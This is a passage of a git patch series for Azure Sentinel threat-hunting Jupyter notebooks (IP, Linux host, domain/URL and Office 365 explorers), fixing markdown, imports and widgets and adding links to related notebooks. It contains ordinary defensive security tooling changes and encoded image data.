+bE3b+6+Yjs68QlAIAAAAAAEAfglIAABhyR3pQ+pFTZjX3P7upBI+JGi+9697m9sfWl+hyw/YdzadnXzC6bYLNRJGbdu0uMeMNax4p8WNe2w43592+fMx216xcXULMxJqnLlpStqmRZOLI7fv3N0seWlu2TYiZGHL+nfeM7q/Xl867pOxv2759zaJVa0p8uX7byyWuvO5nceWhBqV5Dxt37Rp9X9vf2N/sfvutcm45p/byrXv3Nl+/6Iry+hqU5v3W67fi6Y3l54S3O958o/zcXp7tct3z+uPmXVli2K2vvz7mvWS7XMdsU69VzjHnnih16cOPlmB182uvle0/durZZdtY9sRT5bgnXvnzgPdwO+a0uc0X7txRAtLjt/0vzUdmX9586ORZglIAAAAAAADoQ1AKAABD7kgPSk+/fmkJJ29e+9joiJhR49E6ymXC0gSXiUQ/f/ZFo9sdf+nCEl3WcLNul9E02zFqDSeffHl7iR9rJNmOTONb868u0Waiy7qs1wW33FXi0XZ0+oVz5jXPv/pqiWA/ftq5hxyU9p7vWUtuLSOG9i5PWJpj5xzycw1K29cvf969fsO45YlIH92ytcSjXz7/vVFKE9smCv3ewsXl58i6LMu2eU2/a5X9rnxmY7leuW5ZVq9/b2T6QRxz6gXNnz732ubjl99dItI/v+EflHA0jn3i7zQf/u3zynaCUgAAAAAAAOhPUAoAAEPum8//d81f2P1vRwO8w+GLy3Z1HqvXZILSfqNZfvaHc5vndu8eDRNriHnLusfHbFdjxxpuzrrh5hJi9k7DHu1j1ddF/l63yRTziTh7Q9C2GsHeNbK/ftHkoQal/bbrfb91eULS/FyD0vpzVaembwegdfnB7knvtel3raJOb5/QNT/X85vMdPfHv/yvOp+vg/nNPf+++erav9L8mTnXj9mfoBQAAAAAAAD6E5QCAMCQ++rav1oiu+Oe/f3DIqND/pnzx4Z8/UwmKJ1om6zLSJlfPGde33Cyxo41yOy3XV2X+DERZL9Isnd/XT76/dnNrY8+UaaAzyiqmZL+qntXNZ84/b2RMuNwBaV1u97l9f31e795XbbL9r3Le6/3dxYsap54aVsJcbOvql6bftcqcm/ao5km5M1Ipidddd2Y7br82rUPNV+4c/tBfXbpxuaT1zzU/PIltzW/cPrFnfsKQSkAAAAAAAD0JygFAIAhd6RPed9vm0yn/vALmw9rUJop6g9HUFplavhMGZ+gNGFpQsrzbrqjrBuUoDQjuma7jAR7xo+XluXHX7qw2bhz1+i16Xetqoz8+vL+fWXk1+znyZe3H7bp7g+FoBQAAAAAAAD6E5QCAMCQO9KD0slOef+9hYubnQfGB5a9AegHnfK+d39dPjP7wuZL513SHHPymaPLvn3Zwmbr6683G7bvaD5+2rkDE5Su3vR8+fmrF142uk3vtel3rapc890j1/z2x9Y329/YP6np7qeCoBQAAAAAAAD6E5QCAMCQO9KD0tOvX1pixJvXPlZGJa3L599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- } - }, + "attachments": {}, "cell_type": "markdown", "metadata": {}, "source": [ @@ -70,7 +65,7 @@ "### IP Explorer Mindmap\n", "Below mindmap diagram shows hunting workflow depending upon the type of IP address provided\n", "\n", - "![ipexplorer-mindmapv2.PNG](attachment:ipexplorer-mindmapv2.PNG)" + "![IPExplorerMindMap](https://github.com/Azure/Azure-Sentinel-Notebooks/raw/master/images/nb_ipexplorer-mindmap.png)" ] }, { @@ -274,32 +269,12 @@ "query_times.display()" ] }, - { - "cell_type": "code", - "execution_count": null, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-15T23:04:05.784278Z", - "start_time": "2020-05-15T23:04:05.776278Z" - } - }, - "outputs": [], - "source": [ - "# Set up function to allow easy reference to common parameters for queries throughout the notebook\n", - "def ipaddr_query_params():\n", - " return {\n", - " \"start\": query_times.start,\n", - " \"end\": query_times.end,\n", - " \"ip_address\": ipaddr_text.value.strip()\n", - " }" - ] - }, { "cell_type": "markdown", "metadata": {}, "source": [ "[Contents](#toc)\n", - "## Detemine IP Address Type" + "## Determine IP Address Type" ] }, { @@ -313,6 +288,14 @@ }, "outputs": [], "source": [ + "# Set up function to allow easy reference to common parameters for queries throughout the notebook\n", + "def ipaddr_query_params():\n", + " return {\n", + " \"start\": query_times.start,\n", + " \"end\": query_times.end,\n", + " \"ip_address\": ipaddr_text.value.strip()\n", + " }\n", + "\n", "ipaddr_type = get_ip_type(ipaddr_query_params()['ip_address'])\n", "\n", "md(f'Depending on the IP Address origin, different sections of this notebook are applicable', styles=[\"bold\", \"large\"])\n", @@ -849,7 +832,13 @@ "## Related Hosts\n", "**Hypothesis:** That an attacker has gained access to the host, compromized credentials for the accounts and laterally moving to the network gaining access to more hosts.\n", "\n", - "This section provides related hosts of IP address which is being investigated. .If you wish to expand the scope of hunting then investigate each hosts in detail, it is recommended that to use the **Host Explorer Notebook (include link).**\n", + "This section provides related hosts of IP address which is being investigated. .If you wish to expand the scope of hunting then investigate each hosts in detail, it is recommended that to use the **Host Explorer (Windows/Linux)**\n", + " - [Entity Explorer - Windows Host](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/Entity%20Explorer%20-%20Windows%20Host.ipynb)\n", + " - [Entity Explorer - Linux Host](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/Entity%20Explorer%20-%20Linux%20Host.ipynb)\n", + " \n", + "If you are running in the Azure Sentinel Notebooks environment (Azure Notebooks or Azure ML) you can run live versions of these notebooks:\n", + " - [Run Entity Explorer - Windows Host](./Entity%20Explorer%20-%20Windows%20Host.ipynb)\n", + " - [Run Entity Explorer - Linux Host](./Entity%20Explorer%20-%20Linux%20Host.ipynb)\n", "\n", "#### __NOTE - the following sections are only relevant for Internal IP Addresses.__" ] @@ -945,7 +934,11 @@ "## Related Accounts\n", "**Hypothesis:** That an attacker has gained access to the host, compromized credentials for the accounts on it and laterally moving to the network gaining access to more accounts.\n", "\n", - "This section provides related accounts of IP address which is being investigated. .If you wish to expand the scope of hunting then investigate each accounts in detail, it is recommended that to use the **Account Explorer Notebook (include link).**" + "This section provides related accounts of IP address which is being investigated. .If you wish to expand the scope of hunting then investigate each accounts in detail, it is recommended that to use the **Account Explorer.**\n", + " - [Entity Explorer - Account](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/Entity%20Explorer%20-%20Account.ipynb)\n", + "\n", + "If you are running in the Azure Sentinel Notebooks environment (Azure Notebooks or Azure ML) you can run live versions of these notebooks:\n", + " - [Run Entity Explorer - Account](./Entity%20Explorer%20-%20Account.ipynb)" ] }, { @@ -1053,7 +1046,14 @@ "- Logon Types \n", "- Logon Processes\n", "\n", - "If you wish to expand the scope of hunting then investigate specific host in detail, it is recommended that to use the **Host Explorer Notebook (include link).**" + "If you wish to expand the scope of hunting then investigate specific host in detail, it is recommended that to use the **Host Explorer (Windows/Linux)**\n", + "\n", + " - [Entity Explorer - Windows Host](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/Entity%20Explorer%20-%20Windows%20Host.ipynb)\n", + " - [Entity Explorer - Linux Host](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/Entity%20Explorer%20-%20Linux%20Host.ipynb)\n", + " \n", + "If you are running in the Azure Sentinel Notebooks environment (Azure Notebooks or Azure ML) you can run live versions of these notebooks:\n", + " - [Run Entity Explorer - Windows Host](./Entity%20Explorer%20-%20Windows%20Host.ipynb)\n", + " - [Run Entity Explorer - Linux Host](./Entity%20Explorer%20-%20Linux%20Host.ipynb)" ] }, { @@ -1540,7 +1540,7 @@ " source_ips=pd.NamedAgg(column=\"source\", aggfunc=lambda x: x.unique().tolist()),\n", " dest_ips=pd.NamedAgg(column=\"dest\", aggfunc=lambda x: x.unique().tolist()),\n", " ).reset_index()\n", - " flow_sum_df\n", + " display(flow_sum_df)\n", "except NameError as err:\n", " md(f\"Error Occured, Make sure to execute previous cells in notebook: {err}\",styles=[\"bold\",\"red\"])" ] @@ -1764,7 +1764,7 @@ " md(\n", " 'Data transfer daily stats for IP ::', styles=[\"bold\",\"green\"]\n", " )\n", - " #display(dataxfer_stats_df)\n", + " display(dataxfer_stats_df)\n", "else:\n", " md_warn(\n", " f'No Data transfer logs found for the query period'\n", @@ -1874,9 +1874,9 @@ "metadata": { "hide_input": false, "kernelspec": { - "display_name": "Python 3.6", + "display_name": "Python 3", "language": "python", - "name": "python36" + "name": "python3" }, "language_info": { "codemirror_mode": { @@ -1888,7 +1888,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7" + "version": "3.7.6" }, "latex_envs": { "LaTeX_envs_menu_present": true, diff --git a/images/nb_ipexplorer-mindmap.png b/images/nb_ipexplorer-mindmap.png new file mode 100644 index 0000000000000000000000000000000000000000..77e6ababe8794dea521a9e97c1d07e04e7aee4a0 GIT binary patch literal 197559 zcmeFZd05i<`#x&sOv6+*W7CvVYMWbbrKY*JYVN6(JJu*Jxs`^d2xQtendZ3Qj%Dr& zP;GNp+~uB0f`B%&aqB9I_@-Z(Sg-)GMG{(Y`PyBqynaI&kXQHDeQ#n z2?d4cS({fbe*-)RT|Mg?ub}X=ru@$aN6&-v3JPnLj;BwYzX6_=!SL#kTN(*-8WHZ) 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z3(4G8?4AB(p6$07PGyNeubf#)JRAg{(z$?{(sjX7lx7PB>*VGdpq{*2&b%6hHG{Aw z=qyop)U5dg>KFq$KQgAnI-8=Q7LpRdwUvQU8!-Bb;(0*o} z$(E#)->3@ON_0Gk-EYSkT+R;V?ewiY<=sj4-dR>$!~l4w-e3mAeP4E94tEvIQlMzb zF>5Y;dv06Y0qcxsy!;u(1b#ALQUCqCH2;Pm-i^;IR7gnu3$^Ano7EHKXwz)2C;r~W q|Noi#s{H>Yfy-c(>+3P0nj&9hy{=UC=T>xKwr<+Kk?g$x?Ee7y#n0^k literal 0 HcmV?d00001 From 4c2d8d7c21036cf41449bf148a6c0901ae6df948 Mon Sep 17 00:00:00 2001 From: petebryan Date: Fri, 26 Jun 2020 15:48:19 -0700 Subject: [PATCH 15/23] Linux widget updates --- Entity Explorer - Linux Host.ipynb | 58 +++++++++++++++++------------- 1 file changed, 33 insertions(+), 25 deletions(-) diff --git a/Entity Explorer - Linux Host.ipynb b/Entity Explorer - Linux Host.ipynb index 17cdc331..b0be374f 100644 --- a/Entity Explorer - Linux Host.ipynb +++ b/Entity Explorer - Linux Host.ipynb @@ -110,7 +110,7 @@ "extra_imports = [\n", " \"msticpy.nbtools, observationlist\",\n", " \"msticpy.nbtools.foliummap, get_map_center\",\n", - " \"msticpy.common.utility, MsticpyException\",\n", + " \"msticpy.common.exceptions, MsticpyException\",\n", " \"msticpy.sectools.syslog_utils, create_host_record\",\n", " \"msticpy.sectools.syslog_utils, cluster_syslog_logons_df\",\n", " \"msticpy.sectools.syslog_utils, risky_sudo_sessions\",\n", @@ -131,7 +131,8 @@ " \"dns, reversename\",\n", " \"dns, resolver\",\n", " \"ipaddress, ip_address\",\n", - " \"functools, lru_cache\"\n", + " \"functools, lru_cache\",\n", + " \"datetime,,dt\"\n", "]\n", "additional_packages = [\n", " \"oauthlib\", \"pyvis\", \"python-whois\"\n", @@ -441,6 +442,27 @@ "You can choose to start below with a hunt in host logon events or choose to jump to one of the other sections listed above. The order in which you choose to run each of these major sections doesn't matter, they are each self contained. You may also choose to rerun sections based on your findings from running other sections." ] }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "This notebook uses external threat intelligence sources to enrich data. The next cell loads the TILookup class.\n", + "> **Note**: to use TILookup you will need configuration settings in your msticpyconfig.yaml\n", + ">
see [TIProviders documenation](https://msticpy.readthedocs.io/en/latest/TIProviders.html)\n", + ">
and [Configuring Notebook Environment notebook](./ConfiguringNotebookEnvironment.ipynb)\n", + ">
or [ConfiguringNotebookEnvironment (GitHub static view)](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "tilookup = TILookup()\n", + "md(\"Threat intelligence provider loading complete.\")" + ] + }, { "cell_type": "markdown", "metadata": {}, @@ -560,7 +582,6 @@ }, "outputs": [], "source": [ - "import datetime as dt\n", "logon_sessions_df = None\n", "try:\n", " print(\"Clustering logon sessions...\")\n", @@ -638,12 +659,10 @@ }, "outputs": [], "source": [ - "from IPython.core.debugger import set_trace\n", "def view_syslog(selected_facility):\n", - " display(syslog_events.query('Facility == @selected_facility'))\n", + " return [syslog_events.query('Facility == @selected_facility')]\n", "\n", "# Produce a summary of user modification actions taken\n", - "def action_count(x):\n", " if \"Add\" in x:\n", " return len(add_events.replace(\"\", np.nan).dropna(subset=['User'])['User'].unique().tolist())\n", " elif \"Modify\" in x:\n", @@ -808,15 +827,13 @@ "\n", "\n", " def view_sudo(selected_cmd):\n", - " display(sudo_events.query('CommandCall == @selected_cmd')[\n", - " ['TimeGenerated', 'SyslogMessage', 'Sudoer', 'SudoTo', 'Command', 'CommandCall']])\n", + " return [sudo_events.query('CommandCall == @selected_cmd')[\n", + " ['TimeGenerated', 'SyslogMessage', 'Sudoer', 'SudoTo', 'Command', 'CommandCall']]]\n", "\n", " # Show syslog messages associated with selected sudo command\n", " md(\"

View all messages assocated with a sudo command

\")\n", " items = sudo_events['CommandCall'].dropna().unique().tolist()\n", - " cmd_w = widgets.Dropdown(\n", - " options=items, description='Select sudo command facility to examine', disabled=False, **WIDGET_DEFAULTS)\n", - " display(widgets.interactive(view_sudo, selected_cmd=cmd_w))\n", + " nbwidgets.SelectItem(item_list=items, action=view_sudo)\n", "else:\n", " md(\"No logon sessions during this timeframe\")" ] @@ -836,9 +853,7 @@ " # Display syslog messages from the session witht he facility selected\n", " items = syslog_events['Facility'].dropna().unique().tolist()\n", " display(HTML(\"

View all messages assocated with a syslog facility

\"))\n", - " sess_w = widgets.Dropdown(\n", - " options=items, description='Select syslog facility to examine', disabled=False, **WIDGET_DEFAULTS)\n", - " display(widgets.interactive(view_syslog, selected_facility=sess_w))\n", + " nbwidgets.SelectItem(item_list=items, action=view_syslog)\n", "else:\n", " md(\"No logon sessions during this timeframe\")" ] @@ -1083,8 +1098,8 @@ "folium_user_map = FoliumMap()\n", "\n", "def view_sudo(cmd):\n", - " display(user_sudo_hold.query('CommandCall == @cmd')[\n", - " ['TimeGenerated', 'HostName', 'Command', 'CommandCall', 'SyslogMessage']])\n", + " return [user_sudo_hold.query('CommandCall == @cmd')[\n", + " ['TimeGenerated', 'HostName', 'Command', 'CommandCall', 'SyslogMessage']]]\n", "user_sudo_hold = None\n", "if user_select is not None:\n", " # Get all syslog relating to these users\n", @@ -1110,7 +1125,7 @@ " for _, row in logon_sessions_df.iterrows():\n", " end = row['End']\n", " user_sudo_events = qry_prov.LinuxSyslog.sudo_activity(start=user_remote_logons.sort_values(\n", - " by='TimeGenerated')['TimeGenerated'].head(1).values[0], end=end, host_name=hostname, user=username)\n", + " by='TimeGenerated')['TimeGenerated'].iloc[0], end=end, host_name=hostname, user=username)\n", " else: \n", " user_sudo_events = None\n", "\n", @@ -1190,9 +1205,7 @@ " user_sudo_commands = (user_sudo_events[['EventTime', 'CommandCall']].replace('', np.nan).groupby(['CommandCall']).count().dropna().style.set_table_attributes('width=900px, text-align=center').background_gradient(cmap='Reds', low=.5, high=1).format(\"{0:0>3.0f}\"))\n", " display(user_sudo_commands)\n", " md(\"Select a sudo command to investigate in more detail\")\n", - " cmd = widgets.Dropdown(options=user_sudo_events['CommandCall'].replace(\n", - " '', np.nan).dropna().unique().tolist(), description='Cmd:', disabled=False)\n", - " display(widgets.interactive(view_sudo, cmd=cmd))\n", + " nbwidgets.SelectItem(item_list=items, action=view_sudo)\n", "else:\n", " md(\"No user session selected\")" ] @@ -1487,7 +1500,6 @@ "source": [ "# Extract IOCs from syslog assocated with the selected process\n", "ioc_extractor = iocextract.IoCExtract()\n", - "tilookup = TILookup()\n", "os_family = host_entity.OSType if host_entity.OSType else 'Linux'\n", "md('Extracting IoCs...')\n", "ioc_df = ioc_extractor.extract(data=app_data,\n", @@ -1653,10 +1665,6 @@ }, "outputs": [], "source": [ - "from functools import lru_cache\n", - "from ipwhois import IPWhois\n", - "from ipaddress import ip_address\n", - "\n", "#Lookup each IP in whois data and extract the ASN\n", "@lru_cache(maxsize=1024)\n", "def whois_desc(ip_lookup, progress=False):\n", From dc4df84eca22f03518c9875058dbd2b9c25b5c6e Mon Sep 17 00:00:00 2001 From: Ashwin Patil Date: Fri, 26 Jun 2020 23:30:23 +0000 Subject: [PATCH 16/23] markdown and missing import fixes - domain nb --- Entity Explorer - Domain & URL.ipynb | 60 +++++++++++++++------------- 1 file changed, 33 insertions(+), 27 deletions(-) diff --git a/Entity Explorer - Domain & URL.ipynb b/Entity Explorer - Domain & URL.ipynb index ded23f94..ab065a82 100644 --- a/Entity Explorer - Domain & URL.ipynb +++ b/Entity Explorer - Domain & URL.ipynb @@ -37,14 +37,14 @@ }, "source": [ "

Table of Contents

\n", - "
" + "
" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ - "# Hunting Hypothesis: \n", + "## Hunting Hypothesis: \n", "Our broad initial hunting hypothesis is that a particular Linux host in our environment\n", "has been compromised, we will need to hunt from a range of different positions to\n", "validate or disprove this hypothesis." @@ -91,7 +91,7 @@ "import os\n", "import sys\n", "import warnings\n", - "from IPython.display import display, HTML, Markdown\n", + "from IPython.display import display, HTML, Markdown, Image\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", "REQ_MSTICPY_VER=(0, 6, 0)\n", @@ -212,7 +212,9 @@ "qry_prov = QueryProvider('LogAnalytics')\n", "la_connection_string = f'loganalytics://code().tenant(\"{ten_id}\").workspace(\"{ws_id}\")'\n", "qry_prov.connect(connection_str=f'{la_connection_string}')\n", - "tilookup = TILookup()" + "tilookup = TILookup()\n", + "tilookup.reload_providers()\n", + "tilookup.provider_status" ] }, { @@ -242,7 +244,7 @@ "metadata": {}, "source": [ "## Select the domain or URL you wish to investigate\n", - "Enter the domain or URL you wish to investigate." + "Enter the domain or URL you wish to investigate. e.g. www.microsoft.com/index.html" ] }, { @@ -312,8 +314,12 @@ "### Threat Intelligence\n", "As a first step we want to establish if this domain or URL is known to to be malicious by our Threat Intelligence providers.\n", "\n", - "#### msticpyconfig.yaml configuration file\n", - "You can configure primary and secondary TI providers and any required parameters in the msticpyconfig.yaml file. This is read from the current directory or you can set an environment variable (MSTICPYCONFIG) pointing to its location. To configure this file see the ConfigureNotebookEnvironment notebook." + "#### `msticpyconfig.yaml` configuration File\n", + "You can configure primary and secondary TI providers and any required parameters in the `msticpyconfig.yaml` file. This is read from the current directory or you can set an environment variable (`MSTICPYCONFIG`) pointing to its location.\n", + "\n", + "To configure this file see the [ConfigureNotebookEnvironment notebook](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb) and [Threat intelligence provider configuration](https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html#configuration-file). \n", + "\n", + "For Azure Sentinel Notebooks environment (Azure Notebooks or Azure ML) [Run ConfiguringNotebookEnvironment](./ConfiguringNotebookEnvironment.ipynb)" ] }, { @@ -366,7 +372,11 @@ "### Domain analysis\n", "To build up a fuller picture of the domain we can use whois, and other data sources to gather pertinent data. Indicators such as registration data, domain entropy, and registration details can provide indicators that a domain is not legitimate in nature.\n", "\n", - "This cell uses the Open Page Rank API (https://www.domcop.com/openpagerank/) - in order to use this you need to add your API key to your `msticpyconfig.yaml` configuration file (as you did for other TI providers). Please see the `ConfigureNotebookEnvironment` notebook for more details on this." + "This cell uses the Open Page Rank API (https://www.domcop.com/openpagerank/) - in order to use this you need to add your API key to your `msticpyconfig.yaml` configuration file (as you did for other TI providers). \n", + "\n", + "To configure this file see the [ConfigureNotebookEnvironment notebook](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb) and [Threat intelligence provider configuration](https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html#configuration-file). \n", + "\n", + "For Azure Sentinel Notebooks environment (Azure Notebooks or Azure ML) [Run ConfiguringNotebookEnvironment](./ConfiguringNotebookEnvironment.ipynb)" ] }, { @@ -517,7 +527,11 @@ "What IP address is assocatiated with this domain, what do we know about that IP?\n", "What other domains have been associated with this IP, and is it a known ToR exit node?\n", "\n", - "In order to use this ToR lookup functionality of MSTICpy you need to configure it as a provider in your `msticpyconfig.yaml` configuration file. No API key is required to use this functionality. Please see the `ConfigureNotebookEnvironment` notebook for more details on this." + "In order to use this ToR lookup functionality of MSTICpy you need to configure it as a provider in your `msticpyconfig.yaml` configuration file. No API key is required to use this functionality. \n", + "\n", + "To configure this file see the [ConfigureNotebookEnvironment notebook](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb) and [Threat intelligence provider configuration](https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html#configuration-file). \n", + "\n", + "For Azure Sentinel Notebooks environment (Azure Notebooks or Azure ML) [Run ConfiguringNotebookEnvironment](./ConfiguringNotebookEnvironment.ipynb)" ] }, { @@ -596,7 +610,11 @@ "### Site Screenshot\n", "Using https://browshot.com/ return a screenshot of the domain or url being investigated. This can help us identify if the site is a phishing portal.\n", "\n", - "As with other external providers you need an API key to use the BrowShot service, and have the provider configured in your `msticpyconfig.yaml` file. Please see the `ConfigureNotebookEnvironment` notebook for more details on this." + "As with other external providers you need an API key to use the BrowShot service, and have the provider configured in your `msticpyconfig.yaml` file. \n", + "\n", + "To configure this file see the [ConfigureNotebookEnvironment notebook](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb) and [Threat intelligence provider configuration](https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html#configuration-file). \n", + "\n", + "For Azure Sentinel Notebooks environment (Azure Notebooks or Azure ML) [Run ConfiguringNotebookEnvironment](./ConfiguringNotebookEnvironment.ipynb)" ] }, { @@ -1320,27 +1338,15 @@ "md(f\"URL: {url}\", \"bold\")\n", "summary.display_observations()" ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Configuration\n", - "\n", - "### `msticpyconfig.yaml` configuration File\n", - "You can configure primary and secondary TI providers and any required parameters in the `msticpyconfig.yaml` file. This is read from the current directory or you can set an environment variable (`MSTICPYCONFIG`) pointing to its location.\n", - "\n", - "To configure this file see the [ConfigureNotebookEnvironment notebook](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)" - ] } ], "metadata": { "celltoolbar": "Tags", "hide_input": false, "kernelspec": { - "display_name": "Python 3.6", + "display_name": "Python 3", "language": "python", - "name": "python36" + "name": "python3" }, "language_info": { "codemirror_mode": { @@ -1352,7 +1358,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7" + "version": "3.7.6" }, "latex_envs": { "LaTeX_envs_menu_present": true, @@ -1385,10 +1391,10 @@ "height": "calc(100% - 180px)", "left": "10px", "top": "150px", - "width": "512px" + "width": "352.33px" }, "toc_section_display": true, - "toc_window_display": false + "toc_window_display": true }, "varInspector": { "cols": { From ba34e131d16f3fd7d1c1eda8ad8c2b8221c1d870 Mon Sep 17 00:00:00 2001 From: petebryan Date: Fri, 26 Jun 2020 17:28:20 -0700 Subject: [PATCH 17/23] markdown fix --- A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb b/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb index 0b7d95be..10b4f39f 100644 --- a/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb +++ b/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb @@ -221,7 +221,7 @@ "\n", "- You can get your tenant ID (also referred to organization or directory ID) via [Azure Active Directory](https://docs.microsoft.com/en-us/onedrive/find-your-office-365-tenant-id)\n", "\n", - "We are going to use [VirusTotal](\"https://www.virustotal.com\") to enrich our Azure Sentinel data. For this you will need a VirusTotal API key, one of these can be obtained for free (as a personnal key) via the [VirusTotal](https://developers.virustotal.com/v3.0/reference#getting-started) website.\n", + "We are going to use [VirusTotal](https://www.virustotal.com) to enrich our Azure Sentinel data. For this you will need a VirusTotal API key, one of these can be obtained for free (as a personnal key) via the [VirusTotal](https://developers.virustotal.com/v3.0/reference#getting-started) website.\n", "We are using VirusTotal for this notebook but we also support a range of other threat intelligence providers: https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html\n", "

\n", "In addition we are going to plot IP address locations on a map, in order to do this we are going to use [MaxMind](https://www.maxmind.com) to geolocate IP addresses which requires an API key. You can sign up for a free account and API key at https://www.maxmind.com/en/geolite2/signup. \n", From 24710b68cae90eb5a38a1468ce23b035d3511642 Mon Sep 17 00:00:00 2001 From: petebryan Date: Fri, 26 Jun 2020 17:54:22 -0700 Subject: [PATCH 18/23] display fixes and typo --- Entity Explorer - Linux Host.ipynb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/Entity Explorer - Linux Host.ipynb b/Entity Explorer - Linux Host.ipynb index b0be374f..6d75e2f7 100644 --- a/Entity Explorer - Linux Host.ipynb +++ b/Entity Explorer - Linux Host.ipynb @@ -831,9 +831,9 @@ " ['TimeGenerated', 'SyslogMessage', 'Sudoer', 'SudoTo', 'Command', 'CommandCall']]]\n", "\n", " # Show syslog messages associated with selected sudo command\n", - " md(\"

View all messages assocated with a sudo command

\")\n", + " md(\"

View all messages associated with a sudo command

\")\n", " items = sudo_events['CommandCall'].dropna().unique().tolist()\n", - " nbwidgets.SelectItem(item_list=items, action=view_sudo)\n", + " display(nbwidgets.SelectItem(item_list=items, action=view_sudo))\n", "else:\n", " md(\"No logon sessions during this timeframe\")" ] @@ -852,8 +852,8 @@ "if isinstance(logon_sessions_df, pd.DataFrame) and not logon_sessions_df.empty:\n", " # Display syslog messages from the session witht he facility selected\n", " items = syslog_events['Facility'].dropna().unique().tolist()\n", - " display(HTML(\"

View all messages assocated with a syslog facility

\"))\n", - " nbwidgets.SelectItem(item_list=items, action=view_syslog)\n", + " md(\"

View all messages associated with a syslog facility

\")\n", + " display(nbwidgets.SelectItem(item_list=items, action=view_syslog))\n", "else:\n", " md(\"No logon sessions during this timeframe\")" ] @@ -1205,7 +1205,7 @@ " user_sudo_commands = (user_sudo_events[['EventTime', 'CommandCall']].replace('', np.nan).groupby(['CommandCall']).count().dropna().style.set_table_attributes('width=900px, text-align=center').background_gradient(cmap='Reds', low=.5, high=1).format(\"{0:0>3.0f}\"))\n", " display(user_sudo_commands)\n", " md(\"Select a sudo command to investigate in more detail\")\n", - " nbwidgets.SelectItem(item_list=items, action=view_sudo)\n", + " display(nbwidgets.SelectItem(item_list=items, action=view_sudo))\n", "else:\n", " md(\"No user session selected\")" ] From 819909350a445ed3ba8791fd7f9f41e78e12985d Mon Sep 17 00:00:00 2001 From: petebryan Date: Fri, 26 Jun 2020 17:55:20 -0700 Subject: [PATCH 19/23] markdown fix --- Entity Explorer - Linux Host.ipynb | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/Entity Explorer - Linux Host.ipynb b/Entity Explorer - Linux Host.ipynb index 6d75e2f7..ce2f688d 100644 --- a/Entity Explorer - Linux Host.ipynb +++ b/Entity Explorer - Linux Host.ipynb @@ -947,17 +947,6 @@ " md(\"No logon sessions during this timeframe\")" ] }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Load TILookup class\n", - "> **Note**: to use TILookup you will need configuration settings in your msticpyconfig.yaml\n", - ">
see [TIProviders documenation](https://msticpy.readthedocs.io/en/latest/TIProviders.html)\n", - ">
and [Configuring Notebook Environment notebook](./ConfiguringNotebookEnvironment.ipynb)\n", - ">
or [ConfiguringNotebookEnvironment (GitHub static view)](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)" - ] - }, { "cell_type": "code", "execution_count": null, From c4b96ec8f52063b4096f17a73cb4b4b08e387370 Mon Sep 17 00:00:00 2001 From: Ashwin Patil Date: Sat, 27 Jun 2020 00:59:25 +0000 Subject: [PATCH 20/23] minor code fixes in O365 for errors --- Guided Hunting - Office365-Exploring.ipynb | 206 +++++++++------------ 1 file changed, 87 insertions(+), 119 deletions(-) diff --git a/Guided Hunting - Office365-Exploring.ipynb b/Guided Hunting - Office365-Exploring.ipynb index ccdb0181..52980007 100644 --- a/Guided Hunting - Office365-Exploring.ipynb +++ b/Guided Hunting - Office365-Exploring.ipynb @@ -30,34 +30,12 @@ }, { "cell_type": "markdown", - "metadata": {}, + "metadata": { + "toc": true + }, "source": [ - "\n", - "# Table of Contents\n", - "- [Setup and Authenticate](#setup)\n", - "- [Office 365 Activity](#o365)\n", - " - [Tenant-wide Information](#tenant_info)\n", - " - [AAD Operations - Account Modifications](#aad_ops)\n", - " - [Logon Anomalies](#logon_anomalies)\n", - " - [Activity Summary](#activity_summary)\n", - " - [Variability of IP Address for users](#ip_variability)\n", - " - [Accounts with multiple IPs and Geolocations](#acct_multi_geo)\n", - " - [User Logons with > N IP Address](#acct_multi_ips)\n", - " - [Operation Types by Location and IP](#ip_op_matrix)\n", - " - [Geolocation Map of Client IPs](#geo_map_tenant)\n", - " - [Distinct User Agent Strings in Use](#distinct_uas)\n", - " - [Graphical Activity Timeline](#op_timeline)\n", - " - [Users With largest Activity Type Count](#user_activity_counts)\n", - " - [Office User Investigation](#o365_user_inv)\n", - " - [Activity Summary](#user_act_summary)\n", - " - [Operation Breakdown for User](#user_op_count)\n", - " - [IP Count for Different User Operations](#user_ip_counts)\n", - " - [Activity Timeline](#user_act_timeline)\n", - " - [User IP GeoMap](#user_geomap)\n", - " - [Check for User IPs in Azure Network Flow Data](#ips_in_azure)\n", - " - [Rare 